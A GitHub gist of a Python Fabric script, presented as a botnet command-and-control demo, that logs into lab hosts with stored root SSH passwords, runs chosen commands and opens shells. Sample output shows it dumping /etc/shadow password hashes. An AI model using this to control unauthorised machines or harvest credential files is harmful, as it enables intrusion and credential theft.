Skip to content

Instantly share code, notes, and snippets.

@jordan-wright
Last active February 16, 2019 15:38
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jordan-wright/5915260 to your computer and use it in GitHub Desktop.
Save jordan-wright/5915260 to your computer and use it in GitHub Desktop.
Fabric Botnet C&C Blog Post
def check_hosts():
''' Checks each host to see if it's running '''
for host, result in execute(run_command, "uptime", hosts=env.hosts).iteritems():
running_hosts[host] = result if result.succeeded else "Host Down"
root@192.168.56.101:22 toor
root@192.168.56.102:22 toor
for line in open('creds.txt','r').readlines():
host, passw = line.split()
env.hosts.append(host)
env.passwords[host] = passw
from fabric.api import *
PROMPT = "fabric $ "
env.hosts = []
running_hosts = {}
def list_hosts():
print "\n{0:5} | {1:30} | {2:15}".format("ID", "Host", "Status")
print "-" * 40
for idx, host in enumerate(env.hosts):
print "{0:5} | {1:30} | {2}".format(idx, host, running_hosts[host])
print "\n"
def get_hosts():
selected_hosts = []
for host in raw_input("Hosts (eg: 0 1): ").split():
selected_hosts.append(env.hosts[int(host)])
return selected_hosts
def menu():
for num, desc in enumerate(["List Hosts", "Run Command", "Open Shell", "Exit"]):
print "[" + str(num) + "] " + desc
choice = int(raw_input('\n' + PROMPT))
while (choice != 3):
list_hosts()
# If we choose to run a command
if choice == 1:
cmd = raw_input("Command: ")
# Execute the "run_command" task with the given command on the selected hosts
for host, result in execute(run_command, cmd, hosts=get_hosts()).iteritems():
print "[" + host + "]: " + cmd
print ('-' * 80) + '\n' + result + '\n'
# If we choose to open a shell
elif choice == 2:
host = int(raw_input("Host: "))
execute(open_shell, host=env.hosts[host])
for num, desc in enumerate(["List Hosts", "Run Command", "Open Shell", "Exit"]):
print "[" + str(num) + "] " + desc
choice = int(raw_input('\n' + PROMPT))
if __name__ == "__main__":
fill_hosts()
check_hosts()
menu()
C:\>python fabfile.py
[root@192.168.56.101:22] Executing task 'run_command'
[root@192.168.56.102:22] Executing task 'run_command'
[0] List Hosts
[1] Run Command
[2] Open Shell
[3] Exit
fabric $ 1
ID | Host | Status
----------------------------------------
0 | root@192.168.56.101:22 | 07:27:14 up 10:40, 2 users, load average: 0.05, 0.03, 0.05
1 | root@192.168.56.102:22 | 07:27:12 up 10:39, 3 users, load average: 0.00, 0.01, 0.05
Command: sudo cat /etc/shadow
Hosts (eg: 0 1): 0 1
[root@192.168.56.101:22] Executing task 'run_command'
[root@192.168.56.102:22] Executing task 'run_command'
[root@192.168.56.101:22]: sudo cat /etc/shadow
--------------------------------------------------------------------------------
root:$6$jcs.3tzd$aIZHimcDCgr6rhXaaHKYtogVYgrTak8I/EwpUSKrf8cbSczJ3E7TBqqPJN2Xb.8UgKbKyuaqb78bJ8lTWVEP7/:15639:0:99999:7:::
daemon:x:15639:0:99999:7:::
bin:x:15639:0:99999:7:::
sys:x:15639:0:99999:7:::
sync:x:15639:0:99999:7:::
games:x:15639:0:99999:7:::
man:x:15639:0:99999:7:::
lp:x:15639:0:99999:7:::
<snip>
[root@192.168.56.102:22]: sudo cat /etc/shadow
--------------------------------------------------------------------------------
root:$6$27N90zvh$scsS8shKQKRgubPBFAcGcbIFlYlImYGQpGex.sd/g3UvbwQe5A/aW2sGvOsto09SQBzFF5ZjHuEJmV5GFr0Z0.:15779:0:99999:7:::
daemon:*:15775:0:99999:7:::
bin:*:15775:0:99999:7:::
sys:*:15775:0:99999:7:::
sync:*:15775:0:99999:7:::
games:*:15775:0:99999:7:::
man:*:15775:0:99999:7:::
<snip>
[0] List Hosts
[1] Run Command
[2] Open Shell
[3] Exit
fabric $ 2
ID | Host | Status
----------------------------------------
0 | root@192.168.56.101:22 | 07:27:14 up 10:40, 2 users, load average: 0.05, 0.03, 0.05
1 | root@192.168.56.102:22 | 07:27:12 up 10:39, 3 users, load average: 0.00, 0.01, 0.05
Host: 1
[root@192.168.56.102:22] Executing task 'open_shell'
Last login: Wed Jul 3 07:27:44 2013 from 192.168.56.1
root@kali:~# whoami
root
root@kali:~# exit
logout
[0] List Hosts
[1] Run Command
[2] Open Shell
[3] Exit
fabric $ 3
def run_command(command):
try:
with hide('running', 'stdout', 'stderr'):
if command.strip()[0:5] == "sudo":
results = sudo(command)
else:
results = run(command)
except:
results = 'Error'
return results
@betapcode
Copy link

I'm running code for you, but I problem error "No handlers could be found for logger "paramiko.transport" when I used
env.passwords[host] = passwd

pleases, help me ! thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment